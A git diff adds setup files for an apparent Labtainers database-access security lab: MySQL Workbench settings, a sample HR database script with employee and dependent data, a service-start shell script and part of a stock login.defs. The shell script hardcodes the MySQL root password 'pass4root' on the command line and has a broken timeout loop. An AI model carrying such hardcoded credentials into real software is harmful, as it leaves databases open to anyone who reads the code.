PRIMARY + 0 + 0 + + + + 0 + 1B5B4584-1B18-436A-AEE9-2DDA73435B22 + + PRIMARY + + + + + + + + + + 0 + + + 0 + + + 331D0AA0-FE93-41FC-AF5A-7A837EE04EAD + + + + + + + 0 + 0 + + 0 + + + + + + + 0 + 0 + 0 + + 0 + + + + 0 + category + + + + + + http://wb.mysql.com/versions.php + NO ACTION + NO ACTION + InnoDB + ~/dumps + python + mysql + mysqldump + 0 + 10 + 0 + Bitstream Vera Sans Mono 11 + Helvetica 11 + #FFEEEC +#FEFDED +#EAFFE5 +#ECFDFF +#F0F1FE +#FFEBFA + + #F0F1FE + #FEFDED + Helvetica 11 + #98BFDA +#FEDE58 +#98D8A5 +#FE9898 +#FE98FE +#FFFFFF + + Helvetica 11 + 0 + 0 + 0 + Helvetica 11 + 1 + #98D8A5 + Helvetica 12 + 20 + Helvetica Bold 12 + #98BFDA + Helvetica 11 + 20 + 30 + Helvetica Bold 11 + 0 + 1 + Helvetica Bold 12 + #FEDE58 + Helvetica Bold 12 + Bitstream Vera Sans Mono 11 + Bitstream Vera Sans Mono 11 + 60 + 10 + 0 + .mysqlworkbench + 0 + 1 + 10 + + + + Letter (8.5 in. x 11 in.) + 2.793999999999999772626324556767940521240234375e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.15900000000000005684341886080801486968994140625e+02 + na-letter + + + Legal (8.5 in. x 14 in.) + 3.556000000000000227373675443232059478759765625e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.15900000000000005684341886080801486968994140625e+02 + na-legal + + + Folio (8.5 in. x 13 in.) + 3.3019999999999998863131622783839702606201171875e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.15900000000000005684341886080801486968994140625e+02 + folio + + + A4 (210 mm x 297 mm) + 2.97e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.09900000000000005684341886080801486968994140625e+02 + iso-a4 + + + A5 (148 mm x 210 mm) + 2.09900000000000005684341886080801486968994140625e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.4819999999999998863131622783839702606201171875e+02 + iso-a5 + + + B4 (250 mm x 353 mm) + 3.53e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.50099999999999994315658113919198513031005859375e+02 + iso-b4 + + + B5 (176 mm x 250 mm) + 2.50099999999999994315658113919198513031005859375e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.76e+02 + iso-b5 + + + Executive (7.5 in. x 10.5 in.) + 2.6669999999999998863131622783839702606201171875e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.8419999999999998863131622783839702606201171875e+02 + executive + + + Statement (5.5 in. x 8.5 in.) + 2.15900000000000005684341886080801486968994140625e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.3969999999999998863131622783839702606201171875e+02 + statement + + + A3 (297 mm x 420 mm) + 4.2019999999999998863131622783839702606201171875e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.97e+02 + iso-a3 + + + A2 (420 mm x 594 mm) + 5.94e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 4.2e+02 + iso-a2 + + + A1 (594 mm x 841 mm) + 8.41200000000000045474735088646411895751953125e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 5.94e+02 + iso-a1 + + + A0 (841 mm x 1189 mm) + 1.189e+03 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 8.41e+02 + iso-a0 + + + ROC 16K (196 mm x 273 mm) + 2.73e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.9680000000000001136868377216160297393798828125e+02 + ROC 16K + + + JIS B5 (182 mm x 257 mm) + 2.5719999999999998863131622783839702606201171875e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 1.82e+02 + jis-b5 + + + Tabloid (11 in. x 17 in.) + 4.3180000000000001136868377216160297393798828125e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.793999999999999772626324556767940521240234375e+02 + tabloid + + + Quarto (215 mm x 275 mm.) + 2.75e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 2.15e+02 + quarto + + + ANSI C (432 mm x 559 mm.) + 5.59e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 4.32e+02 + c + + + ANSI D (559 mm x 864 mm.) + 8.64e+02 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 5.59e+02 + d + + + ANSI E (864 mm x 1118 mm.) + 1.118e+03 + 0.e+00 + 0.e+00 + 0.e+00 + 0.e+00 + 0 + 8.64e+02 + e + + + + /usr/share/mysql-workbench/extras/sakila_full.mwb + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_state.xml b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_state.xml new file mode 100644 index 000000000..383232261 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/.mysql/workbench/wb_state.xml @@ -0,0 +1,8 @@ + + + + 356 183 1024 680 + 6.3.6 + 1 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/MYCO.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/MYCO.sql new file mode 100644 index 000000000..a7c3995b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/MYCO.sql @@ -0,0 +1,235 @@ +CREATE DATABASE MYCO; + +USE MYCO; + +DROP TABLE IF EXISTS employees; +DROP TABLE IF EXISTS dependents; +DROP TABLE IF EXISTS departments; +DROP TABLE IF EXISTS locations; +DROP TABLE IF EXISTS countries; +DROP TABLE IF EXISTS regions; +DROP TABLE IF EXISTS jobs; + + +CREATE TABLE regions ( + region_id INT (11) AUTO_INCREMENT PRIMARY KEY, + region_name VARCHAR (25) DEFAULT NULL +); + +CREATE TABLE countries ( + country_id CHAR (2) PRIMARY KEY, + country_name VARCHAR (40) DEFAULT NULL, + region_id INT (11) NOT NULL, + FOREIGN KEY (region_id) REFERENCES regions (region_id) ON DELETE CASCADE ON UPDATE CASCADE +); + +CREATE TABLE locations ( + location_id INT (11) AUTO_INCREMENT PRIMARY KEY, + street_address VARCHAR (40) DEFAULT NULL, + postal_code VARCHAR (12) DEFAULT NULL, + city VARCHAR (30) NOT NULL, + state_province VARCHAR (25) DEFAULT NULL, + country_id CHAR (2) NOT NULL, + FOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE CASCADE +); + +CREATE TABLE jobs ( + job_id INT (11) AUTO_INCREMENT PRIMARY KEY, + job_title VARCHAR (35) NOT NULL, + min_salary DECIMAL (8, 2) DEFAULT NULL, + max_salary DECIMAL (8, 2) DEFAULT NULL +); + +CREATE TABLE departments ( + department_id INT (11) AUTO_INCREMENT PRIMARY KEY, + department_name VARCHAR (30) NOT NULL, + location_id INT (11) DEFAULT NULL, + FOREIGN KEY (location_id) REFERENCES locations (location_id) ON DELETE CASCADE ON UPDATE CASCADE +); + +CREATE TABLE employees ( + employee_id INT (11) AUTO_INCREMENT PRIMARY KEY, + first_name VARCHAR (20) DEFAULT NULL, + last_name VARCHAR (25) NOT NULL, + email VARCHAR (100) NOT NULL, + phone_number VARCHAR (20) DEFAULT NULL, + hire_date DATE NOT NULL, + job_id INT (11) NOT NULL, + salary DECIMAL (8, 2) NOT NULL, + manager_id INT (11) DEFAULT NULL, + department_id INT (11) DEFAULT NULL, + FOREIGN KEY (job_id) REFERENCES jobs (job_id) ON DELETE CASCADE ON UPDATE CASCADE, + FOREIGN KEY (department_id) REFERENCES departments (department_id) ON DELETE CASCADE ON UPDATE CASCADE, + FOREIGN KEY (manager_id) REFERENCES employees (employee_id) +); + +CREATE TABLE dependents ( + dependent_id INT (11) AUTO_INCREMENT PRIMARY KEY, + first_name VARCHAR (50) NOT NULL, + last_name VARCHAR (50) NOT NULL, + relationship VARCHAR (25) NOT NULL, + employee_id INT (11) NOT NULL, + FOREIGN KEY (employee_id) REFERENCES employees (employee_id) ON DELETE CASCADE ON UPDATE CASCADE +); + +/*Data for the table regions */ + +INSERT INTO regions(region_id,region_name) VALUES (1,'Europe'); +INSERT INTO regions(region_id,region_name) VALUES (2,'Americas'); +INSERT INTO regions(region_id,region_name) VALUES (3,'Asia'); +INSERT INTO regions(region_id,region_name) VALUES (4,'Middle East and Africa'); + + +/*Data for the table countries */ +INSERT INTO countries(country_id,country_name,region_id) VALUES ('AR','Argentina',2); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('AU','Australia',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('BE','Belgium',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('BR','Brazil',2); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('CA','Canada',2); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('CH','Switzerland',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('CN','China',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('DE','Germany',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('DK','Denmark',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('EG','Egypt',4); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('FR','France',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('HK','HongKong',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('IL','Israel',4); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('IN','India',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('IT','Italy',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('JP','Japan',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('KW','Kuwait',4); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('MX','Mexico',2); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('NG','Nigeria',4); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('NL','Netherlands',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('SG','Singapore',3); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('UK','United Kingdom',1); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('US','United States of America',2); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('ZM','Zambia',4); +INSERT INTO countries(country_id,country_name,region_id) VALUES ('ZW','Zimbabwe',4); + +/*Data for the table locations */ +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (1400,'2014 Jabberwocky Rd','26192','Southlake','Texas','US'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (1500,'2011 Interiors Blvd','99236','South San Francisco','California','US'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (1700,'2004 Charade Rd','98199','Seattle','Washington','US'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (1800,'147 Spadina Ave','M5V 2L7','Toronto','Ontario','CA'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (2400,'8204 Arthur St',NULL,'London',NULL,'UK'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (2500,'Magdalen Centre, The Oxford Science Park','OX9 9ZB','Oxford','Oxford','UK'); +INSERT INTO locations(location_id,street_address,postal_code,city,state_province,country_id) VALUES (2700,'Schwanthalerstr. 7031','80925','Munich','Bavaria','DE'); + + +/*Data for the table jobs */ + +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (1,'Public Accountant',4200.00,9000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (2,'Accounting Manager',8200.00,16000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (3,'Administration Assistant',3000.00,6000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (4,'President',20000.00,40000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (5,'Administration Vice President',15000.00,30000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (6,'Accountant',4200.00,9000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (7,'Finance Manager',8200.00,16000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (8,'Human Resources Representative',4000.00,9000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (9,'Programmer',4000.00,10000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (10,'Marketing Manager',9000.00,15000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (11,'Marketing Representative',4000.00,9000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (12,'Public Relations Representative',4500.00,10500.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (13,'Purchasing Clerk',2500.00,5500.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (14,'Purchasing Manager',8000.00,15000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (15,'Sales Manager',10000.00,20000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (16,'Sales Representative',6000.00,12000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (17,'Shipping Clerk',2500.00,5500.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (18,'Stock Clerk',2000.00,5000.00); +INSERT INTO jobs(job_id,job_title,min_salary,max_salary) VALUES (19,'Stock Manager',5500.00,8500.00); + + +/*Data for the table departments */ + +INSERT INTO departments(department_id,department_name,location_id) VALUES (1,'Administration',1700); +INSERT INTO departments(department_id,department_name,location_id) VALUES (2,'Marketing',1800); +INSERT INTO departments(department_id,department_name,location_id) VALUES (3,'Purchasing',1700); +INSERT INTO departments(department_id,department_name,location_id) VALUES (4,'Human Resources',2400); +INSERT INTO departments(department_id,department_name,location_id) VALUES (5,'Shipping',1500); +INSERT INTO departments(department_id,department_name,location_id) VALUES (6,'IT',1400); +INSERT INTO departments(department_id,department_name,location_id) VALUES (7,'Public Relations',2700); +INSERT INTO departments(department_id,department_name,location_id) VALUES (8,'Sales',2500); +INSERT INTO departments(department_id,department_name,location_id) VALUES (9,'Executive',1700); +INSERT INTO departments(department_id,department_name,location_id) VALUES (10,'Finance',1700); +INSERT INTO departments(department_id,department_name,location_id) VALUES (11,'Accounting',1700); + + + +/*Data for the table employees */ + +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (100,'Steven','King','steven.king@sqltutorial.org','515.123.4567','1987-06-17',4,24000.00,NULL,9); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (101,'Neena','Kochhar','neena.kochhar@sqltutorial.org','515.123.4568','1989-09-21',5,17000.00,100,9); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (102,'Lex','De Haan','lex.de haan@sqltutorial.org','515.123.4569','1993-01-13',5,17000.00,100,9); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (103,'Alexander','Hunold','alexander.hunold@sqltutorial.org','590.423.4567','1990-01-03',9,9000.00,102,6); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (104,'Bruce','Ernst','bruce.ernst@sqltutorial.org','590.423.4568','1991-05-21',9,6000.00,103,6); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (105,'David','Austin','david.austin@sqltutorial.org','590.423.4569','1997-06-25',9,4800.00,103,6); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (106,'Valli','Pataballa','valli.pataballa@sqltutorial.org','590.423.4560','1998-02-05',9,4800.00,103,6); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (107,'Diana','Lorentz','diana.lorentz@sqltutorial.org','590.423.5567','1999-02-07',9,4200.00,103,6); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (108,'Nancy','Greenberg','nancy.greenberg@sqltutorial.org','515.124.4569','1994-08-17',7,12000.00,101,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (109,'Daniel','Faviet','daniel.faviet@sqltutorial.org','515.124.4169','1994-08-16',6,9000.00,108,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (110,'John','Chen','john.chen@sqltutorial.org','515.124.4269','1997-09-28',6,8200.00,108,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (111,'Ismael','Sciarra','ismael.sciarra@sqltutorial.org','515.124.4369','1997-09-30',6,7700.00,108,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (112,'Jose Manuel','Urman','jose manuel.urman@sqltutorial.org','515.124.4469','1998-03-07',6,7800.00,108,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (113,'Luis','Popp','luis.popp@sqltutorial.org','515.124.4567','1999-12-07',6,6900.00,108,10); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (114,'Den','Raphaely','den.raphaely@sqltutorial.org','515.127.4561','1994-12-07',14,11000.00,100,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (115,'Alexander','Khoo','alexander.khoo@sqltutorial.org','515.127.4562','1995-05-18',13,3100.00,114,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (116,'Shelli','Baida','shelli.baida@sqltutorial.org','515.127.4563','1997-12-24',13,2900.00,114,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (117,'Sigal','Tobias','sigal.tobias@sqltutorial.org','515.127.4564','1997-07-24',13,2800.00,114,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (118,'Guy','Himuro','guy.himuro@sqltutorial.org','515.127.4565','1998-11-15',13,2600.00,114,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (119,'Karen','Colmenares','karen.colmenares@sqltutorial.org','515.127.4566','1999-08-10',13,2500.00,114,3); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (120,'Matthew','Weiss','matthew.weiss@sqltutorial.org','650.123.1234','1996-07-18',19,8000.00,100,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (121,'Adam','Fripp','adam.fripp@sqltutorial.org','650.123.2234','1997-04-10',19,8200.00,100,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (122,'Payam','Kaufling','payam.kaufling@sqltutorial.org','650.123.3234','1995-05-01',19,7900.00,100,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (123,'Shanta','Vollman','shanta.vollman@sqltutorial.org','650.123.4234','1997-10-10',19,6500.00,100,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (126,'Irene','Mikkilineni','irene.mikkilineni@sqltutorial.org','650.124.1224','1998-09-28',18,2700.00,120,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (145,'John','Russell','john.russell@sqltutorial.org',NULL,'1996-10-01',15,14000.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (146,'Karen','Partners','karen.partners@sqltutorial.org',NULL,'1997-01-05',15,13500.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (176,'Jonathon','Taylor','jonathon.taylor@sqltutorial.org',NULL,'1998-03-24',16,8600.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (177,'Jack','Livingston','jack.livingston@sqltutorial.org',NULL,'1998-04-23',16,8400.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (178,'Kimberely','Grant','kimberely.grant@sqltutorial.org',NULL,'1999-05-24',16,7000.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (179,'Charles','Johnson','charles.johnson@sqltutorial.org',NULL,'2000-01-04',16,6200.00,100,8); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (192,'Sarah','Bell','sarah.bell@sqltutorial.org','650.501.1876','1996-02-04',17,4000.00,123,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (193,'Britney','Everett','britney.everett@sqltutorial.org','650.501.2876','1997-03-03',17,3900.00,123,5); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (200,'Jennifer','Whalen','jennifer.whalen@sqltutorial.org','515.123.4444','1987-09-17',3,4400.00,101,1); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (201,'Michael','Hartstein','michael.hartstein@sqltutorial.org','515.123.5555','1996-02-17',10,13000.00,100,2); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (202,'Pat','Fay','pat.fay@sqltutorial.org','603.123.6666','1997-08-17',11,6000.00,201,2); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (203,'Susan','Mavris','susan.mavris@sqltutorial.org','515.123.7777','1994-06-07',8,6500.00,101,4); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (204,'Hermann','Baer','hermann.baer@sqltutorial.org','515.123.8888','1994-06-07',12,10000.00,101,7); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (205,'Shelley','Higgins','shelley.higgins@sqltutorial.org','515.123.8080','1994-06-07',2,12000.00,101,11); +INSERT INTO employees(employee_id,first_name,last_name,email,phone_number,hire_date,job_id,salary,manager_id,department_id) VALUES (206,'William','Gietz','william.gietz@sqltutorial.org','515.123.8181','1994-06-07',1,8300.00,205,11); + + +/*Data for the table dependents */ + +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (1,'Penelope','Gietz','Child',206); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (2,'Nick','Higgins','Child',205); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (3,'Ed','Whalen','Child',200); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (4,'Jennifer','King','Child',100); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (5,'Johnny','Kochhar','Child',101); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (6,'Bette','De Haan','Child',102); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (7,'Grace','Faviet','Child',109); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (8,'Matthew','Chen','Child',110); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (9,'Joe','Sciarra','Child',111); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (10,'Christian','Urman','Child',112); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (11,'Zero','Popp','Child',113); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (12,'Karl','Greenberg','Child',108); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (13,'Uma','Mavris','Child',203); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (14,'Vivien','Hunold','Child',103); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (15,'Cuba','Ernst','Child',104); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (16,'Fred','Austin','Child',105); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (17,'Helen','Pataballa','Child',106); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (18,'Dan','Lorentz','Child',107); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (19,'Bob','Hartstein','Child',201); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (20,'Lucille','Fay','Child',202); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (21,'Kirsten','Baer','Child',204); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (22,'Elvis','Khoo','Child',115); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (23,'Sandra','Baida','Child',116); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (24,'Cameron','Tobias','Child',117); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (25,'Kevin','Himuro','Child',118); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (26,'Rip','Colmenares','Child',119); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (27,'Julia','Raphaely','Child',114); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (28,'Woody','Russell','Child',145); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (29,'Alec','Partners','Child',146); +INSERT INTO dependents(dependent_id,first_name,last_name,relationship,employee_id) VALUES (30,'Sandra','Taylor','Child',176); + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_bin/fixlocal.sh new file mode 100755 index 000000000..37bd2608d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_bin/fixlocal.sh @@ -0,0 +1,51 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + +checkMsqlService() { + # Starting the MySQL service: + sudo systemctl start mysql + + # Writing the status of MySQL service to an arbitrary .txt file + systemctl status mysql > /tmp/mysqllog.txt + sleep 1 +} + +# Counter for loop to time out after 10 seconds if service doesnt start +x=0 + +# Execute check for mysql service +checkMsqlService + +# -m1 is the first match found in the arbitrary .txt file +while ! grep -m1 'active (running)' < /tmp/mysqllog.txt || x < 10 +do + checkMsqlService + x=$(( x+1)) + #post command to run seperate script here + +done + +# Setting the user-password pair for root +echo $1 | mysql -u root -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('pass4root')" + +# Populating the database +# ***Place custom .sql script as a substitute for db.sql +echo $1 | mysql -u root -ppass4root < $HOME/MYCO.sql + +# Creating users +echo $1 | mysql -u root -ppass4root < $HOME/users.sql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/db-access/database/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# 